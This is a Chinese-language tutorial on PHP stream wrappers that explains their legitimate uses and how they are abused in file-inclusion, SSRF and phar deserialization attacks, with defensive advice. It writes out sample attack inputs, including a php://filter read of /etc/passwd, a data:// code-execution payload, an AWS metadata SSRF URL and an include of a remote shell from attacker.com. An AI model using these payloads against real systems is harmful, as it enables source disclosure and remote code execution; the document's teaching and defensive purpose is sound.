1. 从一次“意外”的文件读取说起

那天下午，我正在排查一个老项目的安全问题。同事报告说，一个简单的图片上传预览功能，在输入框里填了个奇怪的路径后，居然把服务器上一个配置文件的内容给显示出来了。他输入的路径是php://filter/read=convert.base64-encode/resource=config/database.php。这个以php://开头的字符串，就是今天我们要深入探讨的主角——PHP伪协议。对于很多PHP开发者来说，伪协议既熟悉又陌生。熟悉是因为在文件包含、文件读写等场景下偶尔会见到它的身影；陌生则是因为很少有人系统地去理解它到底能做什么、为什么能这么做，以及背后潜藏的巨大风险。这篇文章，我就结合自己多年在安全审计和日常开发中遇到的真实案例，带你彻底搞懂PHP伪协议，不仅知道怎么用，更要明白为什么能用，以及如何安全地用。

2. PHP伪协议的本质：不只是“协议”

很多人一听到“协议”，就想到HTTP、FTP这些网络协议。PHP伪协议（PHP Wrappers）虽然也叫协议，但它的本质是PHP提供的一套用于访问各种输入/输出流（Streams）的抽象层。你可以把它理解为一套“统一的访问接口”。在PHP看来，无论是本地的一个文件、一个网络URL、一段内存数据，还是压缩包里的一个条目，都可以被抽象成一个“流”（Stream）。伪协议就是告诉PHP：“嘿，我想用某种特定的方式（协议）来打开（封装）这个流。”

2.1 流上下文（Stream Contexts）：协议行为的遥控器

这是理解伪协议灵活性的关键。几乎每个伪协议都支持流上下文（stream_context_create()），它允许你在打开流时，传入一组参数来精细控制协议的行为。比如，在用http://伪协议时，你可以通过上下文设置请求头（User-Agent）、超时时间、是否跟随重定向等。

$opts = [ 'http' => [ 'method' => 'GET', 'header' => 'User-Agent: MyCustomBot/1.0\r\n', 'timeout' => 5.0 ] ]; $context = stream_context_create($opts); $content = file_get_contents('http://example.com/api/data', false, $context);

如果没有流上下文，file_get_contents('http://...')就只能进行最基础的GET请求。有了它，你就拥有了对这个“HTTP客户端”的完全控制权。这个设计理念贯穿了所有伪协议，使得它们不再是简单的字符串替换，而是功能可配置的组件。

2.2 为什么需要伪协议？统一资源访问的哲学

在早期，PHP处理本地文件用fopen(‘local.txt’)，处理远程文件用fopen(‘http://…’)，代码里充满了条件判断。伪协议的出现，将资源标识符（URI）与操作方式解耦。无论资源在哪，你都可以用一套相似的函数（fopen,file_get_contents,include等）去操作，只需改变URI的前缀（协议部分）。这种设计极大地提高了代码的抽象性和一致性，是PHP流包装器设计的精髓所在。

3. 核心伪协议深度拆解与应用场景

PHP内置了多种伪协议，我们挑几个最常用、也最容易出问题的来详细讲。

3.1php://input：读取“原始”POST数据的利器与险地

这是最著名的伪协议之一。php://input是一个只读流，用于获取HTTP请求正文（Body）的原始数据。关键点在于“原始”二字：它获取的是未经PHP解析的$_POST或$_FILES的原始输入流。

典型应用场景：

1. 接收非表单数据：当客户端发送JSON或XML数据时（Content-Type 为application/json或text/xml），这些数据不会自动填充到$_POST中。此时必须用php://input来读取。

   $jsonData = file_get_contents('php://input'); $dataArray = json_decode($jsonData, true);

2. 实现文件上传进度：在一些老式或自定义的上传处理中，直接操作输入流可以更精细地控制。

安全风险与常见误区：

• 与$_POST的互斥性：当Content-Type是application/x-www-form-urlencoded或multipart/form-data时，PHP会自动解析请求体并填充$_POST和$_FILES。一旦$_POST被填充，php://input流就失效了（读取为空）。这是因为PHP已经消费（解析）了输入流。很多人在处理混合类型请求时在这里栽跟头。
• 安全隐患：如果代码中存在include(‘php://input’)或eval(file_get_contents(‘php://input’))，攻击者就可以直接在POST Body中传入PHP代码并执行，这是极其高危的远程代码执行（RCE）漏洞。绝对禁止将来自php://input或任何用户可控输入的数据，用于include,require,eval等函数。

3.2php://filter：数据转换的瑞士军刀

这是功能最强大、也最常被安全测试人员利用的伪协议。它本身不读写数据，而是像一个“管道过滤器”，对已有的流进行编码、解码、转换等操作。

核心语法：php://filter/<filters>/resource=<目标资源>多个过滤器可以用竖线|连接，按顺序执行：php://filter/read=filter1|filter2/resource=...

常用过滤器解析：

• convert.base64-encode/convert.base64-decode：Base64编解码。这是导致文件读取漏洞的“元凶”。
  • 攻击利用：php://filter/read=convert.base64-encode/resource=/etc/passwd。即使目标文件不是.php后缀，或者include()函数因为配置问题无法直接输出文件内容，通过Base64编码后，内容会被转换成文本，从而被include或file_get_contents读取并显示。防御的关键在于绝对禁止用户控制include/require等函数的完整路径参数。
• convert.quoted-printable-encode/decode：可打印字符引用编码，常用于邮件。
• string.rot13：简单的字母移位编码。<?php echo ‘hello’; ?>经过string.rot13过滤器后会变成<?cuc rpub ‘uryyb’; ?>。这有时可以用来绕过一些非常初级的、基于字符串匹配的死亡代码扫描或WAF规则，但实际作用有限。
• string.toupper/string.tolower：大小写转换。
• string.strip_tags：去除PHP和HTML标签。注意：这个过滤器在读取时（read=）无效，仅在写入时（write=）有效。这是一个重要的细节，很多人会弄错。

一个复杂的组合技案例：假设我们想先读取一个文件，将其内容进行Base64编码，再解码，然后转换成大写，最后写入另一个文件。虽然这听起来有点绕，但展示了过滤器的链式能力：

$source = ‘source.txt’; $dest = ‘dest.txt’; // 创建一个包含多种过滤器的上下文来写入 $filterChain = ‘convert.base64-decode|string.toupper’; // 注意顺序：先解码，后转大写 $context = stream_context_create([ ‘php’ => [ ‘filter’ => $filterChain, ‘mode’ => ‘w’ // 写入模式 ] ]); // 假设source.txt内容是Base64编码的 file_put_contents(‘php://filter/write=’.$filterChain.’/resource=’.$dest, file_get_contents($source));

这个例子说明了过滤器在写入流时同样工作，并且顺序至关重要。

3.3php://memory与php://temp：内存与临时文件的魔术

这两个协议用于在内存或临时文件中处理数据，避免频繁的磁盘I/O，提升性能。

• php://memory：将数据存储在内存中。速度快，但受memory_limit限制。流关闭后数据即丢失。
• php://temp：当数据量小于预设阈值（默认为2MB，可通过/maxmemory:NNN指定，如php://temp/maxmemory:5242880为5MB）时，数据存在内存中；超过阈值后，PHP会自动在系统临时目录（如/tmp）创建一个临时文件来存储，流关闭时自动删除。

应用场景：

1. 处理上传文件：接收到上传文件流后，可以先写入php://temp进行检查（如病毒扫描、格式验证），验证通过后再移动到正式目录。

   $tmpStream = fopen(‘php://temp’, ‘w+’); stream_copy_to_stream($_FILES[‘upload’][‘tmp_name’], $tmpStream); rewind($tmpStream); // 将指针移回开头以便读取 // 检查文件头等操作 $header = fread($tmpStream, 4); if ($header == “\x89PNG”) { // 检查是否为PNG图片 // 验证通过，写入正式文件 rewind($tmpStream); file_put_contents(‘/safe/path/’.$filename, $tmpStream); } fclose($tmpStream);

2. 生成动态内容供其他函数消费：例如，需要将一段字符串作为“文件”传递给一个只接受文件路径作为参数的函数（某些图像处理库或CSV解析器）。

   $csvData = “name,age\nAlice,30\nBob,25”; $tempHandle = fopen(‘php://temp’, ‘w+’); fwrite($tempHandle, $csvData); rewind($tempHandle); // 现在 $tempHandle 可以像普通文件句柄一样被 fgetcsv() 等函数使用 while ($row = fgetcsv($tempHandle)) { print_r($row); } fclose($tempHandle);

3.4data://：将数据直接嵌入URI

data://协议允许在URI中直接包含（Inline）数据，格式为：data://[<mediatype>][;base64],<data>。

应用场景：

• 快速内嵌小型资源：例如在测试或原型中，内嵌一张图片的Base64数据。

  $imgData = ‘data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==‘; echo ‘<img src=”‘.$imgData.’”>’;

• 动态生成代码片段（危险！）：

  // 危险示例！切勿在真实项目中使用！ $code = ‘<?php echo “Hello from data protocol!”; ?>’; include(‘data://text/plain;base64,’.base64_encode($code)); // 这将会执行 $code 中的PHP代码

巨大安全风险：data://协议是除了php://input外，另一个导致远程代码执行（RCE）的高危点。如果攻击者能够控制include、require、file_get_contents（配合eval）等函数的参数，并可以注入data://协议，他们就能直接让服务器执行任意代码。例如：include($_GET[‘page’])，如果传入?page=data://text/plain,<?php phpinfo();?>，且服务器未禁用data://协议，代码就会被执行。

3.5http://与https://：网络资源访问

这两个协议允许像读取本地文件一样读取远程HTTP(S)资源。它们依赖于PHP的HTTP流包装器，通常需要allow_url_fopen配置为On。

应用与陷阱：

• 简单抓取：$content = file_get_contents(‘https://api.example.com/data’);
• 配合流上下文：实现更复杂的HTTP请求（POST、带Header、超时控制），如前文所述。
• 风险：
  1. SSRF（服务器端请求伪造）：如果用户能控制目标URL，攻击者可能利用此功能让服务器向内网或其他敏感服务发起请求，探测或攻击内网系统。例如：file_get_contents($_GET[‘url’])，传入?url=http://169.254.169.254/latest/meta-data/（AWS元数据服务）。
  2. allow_url_include的致命组合：如果allow_url_fopen和allow_url_include同时为On，攻击者可以include(‘http://attacker.com/shell.txt’)，直接加载远程恶意代码执行。在生产环境中，务必设置allow_url_include = Off。

3.6phar://：PHP归档文件的访问接口

phar://是用于访问PHAR（PHP Archive）文件内部条目的协议。PHAR类似于Java的JAR，可以将整个PHP应用打包成一个文件。

基本用法：phar:///path/to/archive.phar/internal/path/to/file.php

安全风险——“phar反序列化漏洞”：这是过去几年非常流行的一种攻击手法。即使不直接执行unserialize()函数，也可能触发反序列化。关键在于，很多文件操作函数（如file_exists()、is_file()、is_dir()、file_get_contents()、copy()、unlink()等）在接收到以phar://开头的路径时，都会自动解析PHAR文件元数据中的metadata字段。如果攻击者能够上传一个恶意的PHAR文件（即使后缀被改为.jpg），并让目标服务器以phar://协议去访问这个文件，就能触发其中metadata里存储的恶意序列化对象的__wakeup()或__destruct()魔法方法，从而执行任意代码。

漏洞利用条件：

1. 存在文件上传点，且攻击者能控制上传文件的部分内容（至少可以注入序列化数据到metadata）。
2. 存在一个能触发协议解析的点（如file_get_contents($_GET[‘f’])），并且攻击者能控制传入的参数以phar://开头指向上传的文件。
3. 服务器上存在可被利用的魔法方法的类（POP链）。

防御：

• 严格检查上传文件的内容，不仅仅是后缀名。
• 在动态包含或操作文件路径时，对用户输入进行白名单过滤，禁止协议前缀。
• 考虑禁用phar流包装器（通过php.ini中的phar.readonly设置，但此设置主要影响创建，对读取影响有限）。

4. 伪协议在安全攻防中的角色

伪协议是PHP安全中一个经典的“双刃剑”案例。它们提供了强大的功能，但也极大地扩展了攻击面。

4.1 常见攻击向量总结

1. 文件包含漏洞（LFI/RFI）的放大器：

   • LFI to RCE：传统的本地文件包含（LFI）可能只能读取源码。但结合php://filter，可以读取PHP文件的Base64编码源码（因为include包含非PHP文件时，如果内容被Base64编码，就不会被直接执行，而是以文本形式输出），从而泄露数据库密码等敏感信息。
   • RFI：在allow_url_include=On的情况下，http://和data://可以直接导致远程代码执行。

2. 敏感信息读取：

   • 利用php://filter读取Web目录以外的系统文件，如/etc/passwd、/proc/self/environ、应用程序配置文件等。
   • 利用php://filter读取Web目录内的PHP源码（通过Base64编码绕过执行）。

3. 反序列化漏洞的触发入口：

   • 如前所述，phar://协议是触发反序列化漏洞的一个重要且隐蔽的入口点。

4.2 防御策略与实践

完全禁用伪协议（如设置allow_url_fopen=Off和allow_url_include=Off）是最彻底的方法，但可能会影响某些正常功能。更务实的做法是进行深度防御：

1. 输入验证与白名单：

   • 对于所有用于文件操作、包含的函数参数，进行严格的输入验证。
   • 最佳实践是使用白名单。如果功能是包含特定的模板文件，就维护一个允许的文件名列表，而不是让用户传递完整路径。

   $allowedPages = [‘home’, ‘about’, ‘contact’]; $page = $_GET[‘page’]; if (!in_array($page, $allowedPages)) { die(‘Invalid page requested.’); } include(‘templates/’ . $page . ‘.php’);

2. 路径规范化与目录穿越检查：

   • 使用realpath()函数解析绝对路径，并与允许的基准目录进行比较。

   $baseDir = ‘/var/www/html/uploads/’; $userFile = $_GET[‘file’]; $realPath = realpath($baseDir . $userFile); // 检查解析后的真实路径是否以基准目录开头 if ($realPath === false || strpos($realPath, $baseDir) !== 0) { die(‘Access denied.’); } // 安全地使用 $realPath

3. 禁用高危配置：

   • 在生产环境中，务必确保allow_url_include = Off。这是防止远程文件包含导致RCE的最重要防线。
   • 根据实际需要，考虑是否关闭allow_url_fopen。如果不需要从远程URL读取数据，就关闭它。

4. 代码审计重点：

   • 审计时，重点关注include,require,file_get_contents,fopen,copy,unlink,file_exists等文件系统函数的参数是否用户可控。
   • 搜索php://,data://,phar://,http://等字符串，检查它们是否与用户输入结合。

5. 使用安全函数替代：

   • 对于文件包含，如果可能，使用绝对路径或相对于特定基准目录的路径。
   • 对于需要动态加载代码的情况，考虑使用自动加载器（如Composer的PSR-4）或明确的映射数组，而不是直接包含变量路径。

5. 高级技巧与实战中的“坑”

5.1php://fd访问文件描述符

php://fd允许直接访问已经打开的文件描述符（File Descriptor）。例如，php://fd/3访问描述符为3的流。这个协议在普通Web开发中极少使用，更多见于一些特殊的CLI脚本或进程间通信的复杂场景。对大多数开发者来说，知道它的存在即可，无需深究。

5.2 过滤器链的顺序陷阱

在使用php://filter时，过滤器的顺序就是数据处理的流水线。顺序错了，结果可能完全不对。例如，你想先Base64解码一个字符串，然后去除HTML标签。如果写成string.strip_tags|convert.base64-decode，由于string.strip_tags在读取模式下无效，并且Base64编码的数据可能包含<、>符号，会被错误地处理。正确的顺序应该是convert.base64-decode|string.strip_tags（写入模式）。务必在测试环境中验证过滤器链的效果。

5.3 临时文件的生命周期

使用php://temp时，要清楚它的数据可能从内存转移到磁盘。这意味着：

• 如果脚本异常终止，临时文件可能不会自动删除，造成磁盘空间浪费。
• 在多进程/多线程环境下，临时文件名是随机的，但存储在系统/tmp目录，需注意权限问题，避免信息泄露。
• 对于处理极大文件，要确保/tmp分区有足够空间。

5.4 协议处理器的加载与禁用

PHP的流包装器是模块化的。php://和file://是内置的，而http://、ftp://、phar://、data://等可能需要特定的扩展（如openssl、phar）支持，并且在php.ini中可以通过disable_functions或扩展配置来禁用。在编写依赖特定协议的程序时，尤其是准备分发给其他人的代码，要用stream_get_wrappers()函数检查当前环境是否支持该协议。

$wrappers = stream_get_wrappers(); if (!in_array(‘https’, $wrappers)) { throw new Exception(‘HTTPS stream wrapper is not available. Please enable openssl extension.’); }

理解PHP伪协议，不仅仅是记住几个协议的名字和用法，更是理解PHP处理输入输出流的一套哲学和机制。它赋予了PHP极大的灵活性，但也要求开发者具备更强的安全意识。在功能开发中，可以善用php://memory和php://filter来优化性能和处理数据；在安全编码中，则必须对用户输入保持最高警惕，严防任何将用户可控数据与文件系统、协议流操作函数连接起来的可能性。记住，强大的能力往往伴随着巨大的责任，在PHP的世界里，伪协议就是这句话的完美体现。